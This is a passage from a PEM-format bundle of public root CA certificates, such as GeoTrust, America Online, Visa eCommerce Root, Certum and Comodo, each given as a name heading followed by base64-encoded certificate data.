AQH/MB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAfBgNVHSMEGDAWgBTAephojYn7qwVk DBF9qn1luMrMTjANBgkqhkiG9w0BAQUFAAOCAQEANeMpauUvXVSOKVCUn5kaFOSPeCpilKInZ57Q zxpeR+nBsqTP3UEaBU6bS+5Kb1VSsyShNwrrZHYqLizz/Tt1kL/6cdjHPTfStQWVYrmm3ok9Nns4 d0iXrKYgjy6myQzCsplFAMfOEVEiIuCl6rYVSAlk6l5PdPcFPseKUgzbFbS9bZvlxrFUaKnjaZC2 mqUPuLk/IH2uSrW4nOQdtqvmlKXBx4Ot2/Unhw4EbNX/3aBd7YdStysVAq45pmp06drE57xNNB6p XE0zX5IJL4hmXXeXxx12E6nV5fEWCRE11azbJHFwLJhWC9kXtNHjUStedejV0NxPNO3CBWaAocvm Mw== -----END CERTIFICATE----- GeoTrust Global CA 2 ==================== -----BEGIN CERTIFICATE----- MIIDZjCCAk6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgR2xvYmFsIENBIDIwHhcNMDQwMzA0MDUw MDAwWhcNMTkwMzA0MDUwMDAwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j LjEdMBsGA1UEAxMUR2VvVHJ1c3QgR2xvYmFsIENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQDvPE1APRDfO1MA4Wf+lGAVPoWI8YkNkMgoI5kF6CsgncbzYEbYwbLVjDHZ3CB5JIG/ NTL8Y2nbsSpr7iFY8gjpeMtvy/wWUsiRxP89c96xPqfCfWbB9X5SJBri1WeR0IIQ13hLTytCOb1k LUCgsBDTOEhGiKEMuzozKmKY+wCdE1l/bztyqu6mD4b5BWHqZ38MN5aL5mkWRxHCJ1kDs6ZgwiFA Vvqgx306E+PsV8ez1q6diYD3Aecs9pYrEw15LNnA5IZ7S4wMcoKK+xfNAGw6EzywhIdLFnopsk/b HdQL82Y3vdj2V7teJHq4PIu5+pIaGoSe2HSPqht/XvT+RSIhAgMBAAGjYzBhMA8GA1UdEwEB/wQF MAMBAf8wHQYDVR0OBBYEFHE4NvICMVNHK266ZUapEBVYIAUJMB8GA1UdIwQYMBaAFHE4NvICMVNH K266ZUapEBVYIAUJMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQUFAAOCAQEAA/e1K6tdEPx7 srJerJsOflN4WT5CBP51o62sgU7XAotexC3IUnbHLB/8gTKY0UvGkpMzNTEv/NgdRN3ggX+d6Yvh ZJFiCzkIjKx0nVnZellSlxG5FntvRdOW2TF9AjYPnDtuzywNA0ZF66D0f0hExghAzN4bcLUprbqL OzRldRtxIR0sFAqwlpW41uryZfspuk/qkZN0abby/+Ea0AzRdoXLiiW9l14sbxWZJue2Kf8i7MkC x1YAzUm5s2x7UwQa4qjJqhIFI8LO57sEAszAR6LkxCkvW0VXiVHuPOtSCP8HNR6fNWpHSlaY0VqF H4z1Ir+rzoPz4iIprn2DQKi6bA== -----END CERTIFICATE----- GeoTrust Universal CA ===================== -----BEGIN CERTIFICATE----- MIIFaDCCA1CgAwIBAgIBATANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEeMBwGA1UEAxMVR2VvVHJ1c3QgVW5pdmVyc2FsIENBMB4XDTA0MDMwNDA1 MDAwMFoXDTI5MDMwNDA1MDAwMFowRTELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IElu Yy4xHjAcBgNVBAMTFUdlb1RydXN0IFVuaXZlcnNhbCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIP ADCCAgoCggIBAKYVVaCjxuAfjJ0hUNfBvitbtaSeodlyWL0AG0y/YckUHUWCq8YdgNY96xCcOq9t JPi8cQGeBvV8Xx7BDlXKg5pZMK4ZyzBIle0iN430SppyZj6tlcDgFgDgEB8rMQ7XlFTTQjOgNB0e RXbdT8oYN+yFFXoZCPzVx5zw8qkuEKmS5j1YPakWaDwvdSEYfyh3peFhF7em6fgemdtzbvQKoiFs 7tqqhZJmr/Z6a4LauiIINQ/PQvE1+mrufislzDoR5G2vc7J2Ha3QsnhnGqQ5HFELZ1aD/ThdDc7d 8Lsrlh/eezJS/R27tQahsiFepdaVaH/wmZ7cRQg+59IJDTWU3YBOU5fXtQlEIGQWFwMCTFMNaN7V qnJNk22CDtucvc+081xdVHppCZbW2xHBjXWotM85yM48vCR85mLK4b19p71XZQvk/iXttmkQ3Cga Rr0BHdCXteGYO8A3ZNY9lO4L4fUorgtWv3GLIylBjobFS1J72HGrH4oVpjuDWtdYAVHGTEHZf9hB Z3KiKN9gg6meyHv8U3NyWfWTehd2Ds735VzZC1U0oqpbtWpU5xPKV+yXbfReBi9Fi1jUIxaS5BZu KGNZMN9QAZxjiRqf2xeUgnA3wySemkfWWspOqGmJch+RbNt+nhutxx9z3SxPGWX9f5NAEC7S8O08 ni4oPmkmM8V7AgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNq7LqqwDLiIJlF0 XG0D08DYj3rWMB8GA1UdIwQYMBaAFNq7LqqwDLiIJlF0XG0D08DYj3rWMA4GA1UdDwEB/wQEAwIB hjANBgkqhkiG9w0BAQUFAAOCAgEAMXjmx7XfuJRAyXHEqDXsRh3ChfMoWIawC/yOsjmPRFWrZIRc aanQmjg8+uUfNeVE44B5lGiku8SfPeE0zTBGi1QrlaXv9z+ZhP015s8xxtxqv6fXIwjhmF7DWgh2 qaavdy+3YL1ERmrvl/9zlcGO6JP7/TG37FcREUWbMPEaiDnBTzynANXH/KttgCJwpQzgXQQpAvvL oJHRfNbDflDVnVi+QTjruXU8FdmbyUqDWcDaU/0zuzYYm4UPFd3uLax2k7nZAY1IEKj79TiG8dsK xr2EoyNB3tZ3b4XUhRxQ4K5RirqNPnbiucon8l+f725ZDQbYKxek0nxru18UGkiPGkzns0ccjkxF KyDuSN/n3QmOGKjaQI2SJhFTYXNd673nxE0pN2HrrDktZy4W1vUAg4WhzH92xH3kt0tm7wNFYGm2 DFKWkoRepqO1pD4r2czYG0eq8kTaT/kD6PAUyz/zg97QwVTjt+gKN02LIFkDMBmhLMi9ER/frslK xfMnZmaGrGiR/9nmUxwPi1xpZQomyB40w11Re9epnAahNt3ViZS82eQtDF4JbAiXfKM9fJP/P6EU p8+1Xevb2xzEdt+Iub1FBZUbrvxGakyvSOPOrg/SfuvmbJxPgWp6ZKy7PtXny3YuxadIwVyQD8vI P/rmMuGNG2+k5o7Y+SlIis5z/iw= -----END CERTIFICATE----- GeoTrust Universal CA 2 ======================= -----BEGIN CERTIFICATE----- MIIFbDCCA1SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwHhcNMDQwMzA0 MDUwMDAwWhcNMjkwMzA0MDUwMDAwWjBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3Qg SW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwggIiMA0GCSqGSIb3DQEBAQUA A4ICDwAwggIKAoICAQCzVFLByT7y2dyxUxpZKeexw0Uo5dfR7cXFS6GqdHtXr0om/Nj1XqduGdt0 DE81WzILAePb63p3NeqqWuDW6KFXlPCQo3RWlEQwAx5cTiuFJnSCegx2oG9NzkEtoBUGFF+3Qs17 j1hhNNwqCPkuwwGmIkQcTAeC5lvO0Ep8BNMZcyfwqph/Lq9O64ceJHdqXbboW0W63MOhBW9Wjo8Q JqVJwy7XQYci4E+GymC16qFjwAGXEHm9ADwSbSsVsaxLse4YuU6W3Nx2/zu+z18DwPw76L5GG//a QMJS9/7jOvdqdzXQ2o3rXhhqMcceujwbKNZrVMaqW9eiLBsZzKIC9ptZvTdrhrVtgrrY6slWvKk2 WP0+GfPtDCapkzj4T8FdIgbQl+rhrcZV4IErKIM6+vR7IVEAvlI4zs1meaj0gVbi0IMJR1FbUGrP 20gaXT73y/Zl92zxlfgCOzJWgjl6W70viRu/obTo/3+NjN8D8WBOWBFM66M/ECuDmgFz2ZRthAAn ZqzwcEAJQpKtT5MNYQlRJNiS1QuUYbKHsu3/mjX/hVTK7URDrBs8FmtISgocQIgfksILAAX/8sgC SqSqqcyZlpwvWOB94b67B9xfBHJcMTTD7F8t4D1kkCLm0ey4Lt1ZrtmhN79UNdxzMk+MBB4zsslG 8dhcyFVQyWi9qLo2CQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR281Xh+qQ2 +/CfXGJx7Tz0RzgQKzAfBgNVHSMEGDAWgBR281Xh+qQ2+/CfXGJx7Tz0RzgQKzAOBgNVHQ8BAf8E BAMCAYYwDQYJKoZIhvcNAQEFBQADggIBAGbBxiPz2eAubl/oz66wsCVNK/g7WJtAJDday6sWSf+z dXkzoS9tcBc0kf5nfo/sm+VegqlVHy/c1FEHEv6sFj4sNcZj/NwQ6w2jqtB8zNHQL1EuxBRa3ugZ 4T7GzKQp5y6EqgYweHZUcyiYWTjgAA1i00J9IZ+uPTqM1fp3DRgrFg5fNuH8KrUwJM/gYwx7WBr+ mbpCErGR9Hxo4sjoryzqyX6uuyo9DRXcNJW2GHSoag/HtPQTxORb7QrSpJdMKu0vbBKJPfEncKpq A1Ihn0CoZ1Dy81of398j9tx4TuaYT1U6U+Pv8vSfx3zYWK8pIpe44L2RLrB27FcRz+8pRPPphXpg Y+RdM4kX2TGq2tbzGDVyz4crL2MjhF2EjD9XoIj8mZEoJmmZ1I+XRL6O1UixpCgp8RW04eWe3fiP pm8m1wk8OhwRDqZsN/etRIcsKMfYdIKz0G9KV7s1KSegi+ghp4dkNl3M2Basx7InQJJVOCiNUW7d FGdTbHFcJoRNdVq2fmBWqU2t+5sel/MN2dKXVHfaPRK34B7vCAas+YWH6aLcr34YEoP9VhdBLtUp gn2Z9DH2canPLAEnpQW5qrJITirvn5NSUZU8UnOOVkwXQMAJKOSLakhT2+zNVVXxxvjpoixMptEm X36vWkzaH6byHCx+rgIW0lbQL1dTR+iS -----END CERTIFICATE----- UTN-USER First-Network Applications =================================== -----BEGIN CERTIFICATE----- MIIEZDCCA0ygAwIBAgIQRL4Mi1AAJLQR0zYwS8AzdzANBgkqhkiG9w0BAQUFADCBozELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xKzAp BgNVBAMTIlVUTi1VU0VSRmlyc3QtTmV0d29yayBBcHBsaWNhdGlvbnMwHhcNOTkwNzA5MTg0ODM5 WhcNMTkwNzA5MTg1NzQ5WjCBozELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5T YWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExho dHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xKzApBgNVBAMTIlVUTi1VU0VSRmlyc3QtTmV0d29yayBB cHBsaWNhdGlvbnMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCz+5Gh5DZVhawGNFug mliy+LUPBXeDrjKxdpJo7CNKyXY/45y2N3kDuatpjQclthln5LAbGHNhSuh+zdMvZOOmfAz6F4Cj DUeJT1FxL+78P/m4FoCHiZMlIJpDgmkkdihZNaEdwH+DBmQWICzTSaSFtMBhf1EI+GgVkYDLpdXu Ozr0hAReYFmnjDRy7rh4xdE7EkpvfmUnuaRVxblvQ6TFHSyZwFKkeEwVs0CYCGtDxgGwenv1axwi P8vv/6jQOkt2FZ7S0cYu49tXGzKiuG/ohqY/cKvlcJKrRB5AUPuco2LkbG6gyN7igEL66S/ozjIE j3yNtxyjNTwV3Z7DrpelAgMBAAGjgZEwgY4wCwYDVR0PBAQDAgHGMA8GA1UdEwEB/wQFMAMBAf8w HQYDVR0OBBYEFPqGydvguul49Uuo1hXf8NPhahQ8ME8GA1UdHwRIMEYwRKBCoECGPmh0dHA6Ly9j cmwudXNlcnRydXN0LmNvbS9VVE4tVVNFUkZpcnN0LU5ldHdvcmtBcHBsaWNhdGlvbnMuY3JsMA0G CSqGSIb3DQEBBQUAA4IBAQCk8yXM0dSRgyLQzDKrm5ZONJFUICU0YV8qAhXhi6r/fWRRzwr/vH3Y IWp4yy9Rb/hCHTO967V7lMPDqaAt39EpHx3+jz+7qEUqf9FuVSTiuwL7MT++6LzsQCv4AdRWOOTK RIK1YSAhZ2X28AvnNPilwpyjXEAfhZOVBt5P1CeptqX8Fs1zMT+4ZSfP1FMa8Kxun08FDAOBp4Qp xFq9ZFdyrTvPNximmMatBrTcCKME1SmklpoSZ0qMYEWd8SOasACcaLWYUNPvji6SZbFIPiG+FTAq DbUMo2s/rn9X9R+WfN9v3YIwLGUbQErNaLly7HF27FSOH4UMAWr6pjisH8SE -----END CERTIFICATE----- America Online Root Certification Authority 1 ============================================= -----BEGIN CERTIFICATE----- MIIDpDCCAoygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eSAxMB4XDTAyMDUyODA2MDAwMFoXDTM3MTExOTIwNDMwMFowYzELMAkG A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMTCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAKgv6KRpBgNHw+kqmP8ZonCaxlCyfqXfaE0bfA+2l2h9LaaLl+lkhsmj76CG v2BlnEtUiMJIxUo5vxTjWVXlGbR0yLQFOVwWpeKVBeASrlmLojNoWBym1BW32J/X3HGrfpq/m44z DyL9Hy7nBzbvYjnF3cu6JRQj3gzGPTzOggjmZj7aUTsWOqMFf6Dch9Wc/HKpoH145LcxVR5lu9Rh sCFg7RAycsWSJR74kEoYeEfffjA3PlAb2xzTa5qGUwew76wGePiEmf4hjUyAtgyC9mZweRrTT6PP 8c9GsEsPPt2IYriMqQkoO3rHl+Ee5fSfwMCuJKDIodkP1nsmgmkyPacCAwEAAaNjMGEwDwYDVR0T AQH/BAUwAwEB/zAdBgNVHQ4EFgQUAK3Zo/Z59m50qX8zPYEX10zPM94wHwYDVR0jBBgwFoAUAK3Z o/Z59m50qX8zPYEX10zPM94wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBBQUAA4IBAQB8itEf GDeC4Liwo+1WlchiYZwFos3CYiZhzRAW18y0ZTTQEYqtqKkFZu90821fnZmv9ov761KyBZiibyrF VL0lvV+uyIbqRizBs73B6UlwGBaXCBOMIOAbLjpHyx7kADCVW/RFo8AasAFOq73AI25jP4BKxQft 3OJvx8Fi8eNy1gTIdGcL+oiroQHIb/AUr9KZzVGTfu0uOMe9zkZQPXLjeSWdm4grECDdpbgyn43g Kd8hdIaC2y+CMMbHNYaz+ZZfRtsMRf3zUMNvxsNIrUam4SdHCh0Om7bCd39j8uB9Gr784N/Xx6ds sPmuujz9dLQR6FgNgLzTqIA6me11zEZ7 -----END CERTIFICATE----- America Online Root Certification Authority 2 ============================================= -----BEGIN CERTIFICATE----- MIIFpDCCA4ygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyODA2MDAwMFoXDTM3MDkyOTE0MDgwMFowYzELMAkG A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAMxBRR3pPU0Q9oyxQcngXssNt79Hc9PwVU3dxgz6sWYFas14tNwC206B89en fHG8dWOgXeMHDEjsJcQDIPT/DjsS/5uN4cbVG7RtIuOx238hZK+GvFciKtZHgVdEglZTvYYUAQv8 f3SkWq7xuhG1m1hagLQ3eAkzfDJHA1zEpYNI9FdWboE2JxhP7JsowtS013wMPgwr38oE18aO6lhO qKSlGBxsRZijQdEt0sdtjRnxrXm3gT+9BoInLRBYBbV4Bbkv2wxrkJB+FFk4u5QkE+XRnRTf04JN RvCAOVIyD+OEsnpD8l7eXz8d3eOyG6ChKiMDbi4BFYdcpnV1x5dhvt6G3NRI270qv0pV2uh9UPu0 gBe4lL8BPeraunzgWGcXuVjgiIZGZ2ydEEdYMtA1fHkqkKJaEBEjNa0vzORKW6fIJ/KD3l67Xnfn 6KVuY8INXWHQjNJsWiEOyiijzirplcdIz5ZvHZIlyMbGwcEMBawmxNJ10uEqZ8A9W6Wa6897Gqid FEXlD6CaZd4vKL3Ob5Rmg0gp2OpljK+T2WSfVVcmv2/LNzGZo2C7HK2JNDJiuEMhBnIMoVxtRsX6 Kc8w3onccVvdtjc+31D1uAclJuW8tf48ArO3+L5DwYcRlJ4jbBeKuIonDFRH8KmzwICMoCfrHRnj B453cMor9H124HhnAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFE1FwWg4u3Op aaEg5+31IqEjFNeeMB8GA1UdIwQYMBaAFE1FwWg4u3OpaaEg5+31IqEjFNeeMA4GA1UdDwEB/wQE AwIBhjANBgkqhkiG9w0BAQUFAAOCAgEAZ2sGuV9FOypLM7PmG2tZTiLMubekJcmnxPBUlgtk87FY T15R/LKXeydlwuXK5w0MJXti4/qftIe3RUavg6WXSIylvfEWK5t2LHo1YGwRgJfMqZJS5ivmae2p +DYtLHe/YUjRYwu5W1LtGLBDQiKmsXeu3mnFzcccobGlHBD7GL4acN3Bkku+KVqdPzW+5X1R+FXg JXUjhx5c3LqdsKyzadsXg8n33gy8CNyRnqjQ1xU3c6U1uPx+xURABsPr+CKAXEfOAuMRn0T//Zoy zH1kUQ7rVyZ2OuMeIjzCpjbdGe+n/BLzJsBZMYVMnNjP36TMzCmT/5RtdlwTCJfy7aULTd3oyWgO ZtMADjMSW7yV5TKQqLPGbIOtd+6Lfn6xqavT4fG2wLHqiMDn05DpKJKUe2h7lyoKZy2FAjgQ5ANh 1NolNscIWC2hp1GvMApJ9aZphwctREZ2jirlmjvXGKL8nDgQzMY70rUXOm/9riW99XJZZLF0Kjhf GEzfz3EEWjbUvy+ZnOjZurGV5gJLIaFb1cFPj65pbVPbAZO1XB4Y3WRayhgoPmMEEf0cjQAPuDff Z4qdZqkCapH/E8ovXYO8h5Ns3CRRFgQlZvqz2cK6Kb6aSDiCmfS/O0oxGfm/jiEzFMpPVF/7zvuP cX/9XhmgD0uRuMRUvAawRY8mkaKO/qk= -----END CERTIFICATE----- Visa eCommerce Root =================== -----BEGIN CERTIFICATE----- MIIDojCCAoqgAwIBAgIQE4Y1TR0/BvLB+WUF1ZAcYjANBgkqhkiG9w0BAQUFADBrMQswCQYDVQQG EwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMmVmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2Ug QXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNvbW1lcmNlIFJvb3QwHhcNMDIwNjI2MDIxODM2 WhcNMjIwNjI0MDAxNjEyWjBrMQswCQYDVQQGEwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMm VmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2UgQXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNv bW1lcmNlIFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvV95WHm6h2mCxlCfL F9sHP4CFT8icttD0b0/Pmdjh28JIXDqsOTPHH2qLJj0rNfVIsZHBAk4ElpF7sDPwsRROEW+1QK8b RaVK7362rPKgH1g/EkZgPI2h4H3PVz4zHvtH8aoVlwdVZqW1LS7YgFmypw23RuwhY/81q6UCzyr0 TP579ZRdhE2o8mCP2w4lPJ9zcc+U30rq299yOIzzlr3xF7zSujtFWsan9sYXiwGd/BmoKoMWuDpI /k4+oKsGGelT84ATB+0tvz8KPFUgOSwsAGl0lUq8ILKpeeUYiZGo3BxN77t+Nwtd/jmliFKMAGzs GHxBvfaLdXe6YJ2E5/4tAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEG MB0GA1UdDgQWBBQVOIMPPyw/cDMezUb+B4wg4NfDtzANBgkqhkiG9w0BAQUFAAOCAQEAX/FBfXxc CLkr4NWSR/pnXKUTwwMhmytMiUbPWU3J/qVAtmPN3XEolWcRzCSs00Rsca4BIGsDoo8Ytyk6feUW YFN4PMCvFYP3j1IzJL1kk5fui/fbGKhtcbP3LBfQdCVp9/5rPJS+TUtBjE7ic9DjkCJzQ83z7+pz zkWKsKZJ/0x9nXGIxHYdkFsd7v3M9+79YKWxehZx0RbQfBI8bGmX265fOZpwLwU8GUYEmSA20GBu YQa7FkKMcPcw++DbZqMAAb3mLNqRX6BGi01qnD093QVG/na/oAo85ADmJ7f/hC3euiInlhBx6yLt 398znM/jra6O1I7mT1GvFpLgXPYHDw== -----END CERTIFICATE----- Certum Root CA ============== -----BEGIN CERTIFICATE----- MIIDDDCCAfSgAwIBAgIDAQAgMA0GCSqGSIb3DQEBBQUAMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQK ExJVbml6ZXRvIFNwLiB6IG8uby4xEjAQBgNVBAMTCUNlcnR1bSBDQTAeFw0wMjA2MTExMDQ2Mzla Fw0yNzA2MTExMDQ2MzlaMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQKExJVbml6ZXRvIFNwLiB6IG8u by4xEjAQBgNVBAMTCUNlcnR1bSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM6x wS7TT3zNJc4YPk/EjG+AanPIW1H4m9LcuwBcsaD8dQPugfCI7iNS6eYVM42sLQnFdvkrOYCJ5JdL kKWoePhzQ3ukYbDYWMzhbGZ+nPMJXlVjhNWo7/OxLjBos8Q82KxujZlakE403Daaj4GIULdtlkIJ 89eVgw1BS7Bqa/j8D35in2fE7SZfECYPCE/wpFcozo+47UX2bu4lXapuOb7kky/ZR6By6/qmW6/K Uz/iDsaWVhFu9+lmqSbYf5VT7QqFiLpPKaVCjF62/IUgAKpoC6EahQGcxEZjgoi2IrHu/qpGWX7P NSzVttpd90gzFFS269lvzs2I1qsb2pY7HVkCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkq hkiG9w0BAQUFAAOCAQEAuI3O7+cUus/usESSbLQ5PqKEbq24IXfS1HeCh+YgQYHu4vgRt2PRFze+ GXYkHAQaTOs9qmdvLdTN/mUxcMUbpgIKumB7bVjCmkn+YzILa+M6wKyrO7Do0wlRjBCDxjTgxSvg GrZgFCdsMneMvLJymM/NzD+5yCRCFNZX/OYmQ6kd5YCQzgNUKD73P9P4Te1qCjqTE5s7FCMTY5w/ 0YcneeVMUeMBrYVdGjux1XMQpNPyvG5k9VpWkKjHDkx0Dy5xO/fIR/RpbxXyEV6DHpx8Uq79AtoS qFlnGNu8cN2bsWntgM6JQEhqDjXKKWYVIZQs6GAqm4VKQPNriiTsBhYscw== -----END CERTIFICATE----- Comodo AAA Services root ======================== -----BEGIN CERTIFICATE----- MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAw MFoXDTI4MTIzMTIzNTk1OVowezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hl c3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNV BAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQuaBtDFcCLNSS1UY8y2bmhG C1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe3M/vg4aijJRPn2jymJBGhCfHdr/jzDUs i14HZGWCwEiwqJH5YZ92IFCokcdmtet4YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszW Y19zjNoFmag4qMsXeDZRrOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjH Ypy+g8cmez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQUoBEK Iz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wewYDVR0f BHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNl cy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2Vz LmNybDANBgkqhkiG9w0BAQUFAAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm 7l3sAg9g1o1QGE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2G9w84FoVxp7Z 8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsil2D4kF501KKaU73yqWjgom7C 12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg== -----END CERTIFICATE----- Comodo Secure Services root =========================== -----BEGIN CERTIFICATE----- MIIEPzCCAyegAwIBAgIBATANBgkqhkiG9w0BAQUFADB+MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEkMCIGA1UEAwwbU2VjdXJlIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAw MDAwMFoXDTI4MTIzMTIzNTk1OVowfjELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFu Y2hlc3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxJDAi BgNVBAMMG1NlY3VyZSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBAMBxM4KK0HDrc4eCQNUd5MvJDkKQ+d40uaG6EfQlhfPMcm3ye5drswfxdySRXyWP 9nQ95IDC+DwN879A6vfIUtFyb+/Iq0G4bi4XKpVpDM3SHpR7LZQdqnXXs5jLrLxkU0C8j6ysNstc rbvd4JQX7NFc0L/vpZXJkMWwrPsbQ996CF23uPJAGysnnlDOXmWCiIxe004MeuoIkbY2qitC++rC oznl2yY4rYsK7hljxxwk3wN42ubqwUcaCwtGCd0C/N7Lh1/XMGNooa7cMqG6vv5Eq2i2pRcV/b3V p6ea5EQz6YiO/O1R65NxTq0B50SOqy3LqP4BSUjwwN3HaNiS/j0CAwEAAaOBxzCBxDAdBgNVHQ4E FgQUPNiTiMLAggnMAZkGkyDpnnAJY08wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8w gYEGA1UdHwR6MHgwO6A5oDeGNWh0dHA6Ly9jcmwuY29tb2RvY2EuY29tL1NlY3VyZUNlcnRpZmlj YXRlU2VydmljZXMuY3JsMDmgN6A1hjNodHRwOi8vY3JsLmNvbW9kby5uZXQvU2VjdXJlQ2VydGlm aWNhdGVTZXJ2aWNlcy5jcmwwDQYJKoZIhvcNAQEFBQADggEBAIcBbSMdflsXfcFhMs+P5/OKlFlm 4J4oqF7Tt/Q05qo5spcWxYJvMqTpjOev/e/C6LlLqqP05tqNZSH7uoDrJiiFGv45jN5bBAS0VPmj Z55B+glSzAVIqMk/IQQezkhr/IXownuvf7fM+F86/TXGDe+X3EyrEeFryzHRbPtIgKvcnDe4IRRL 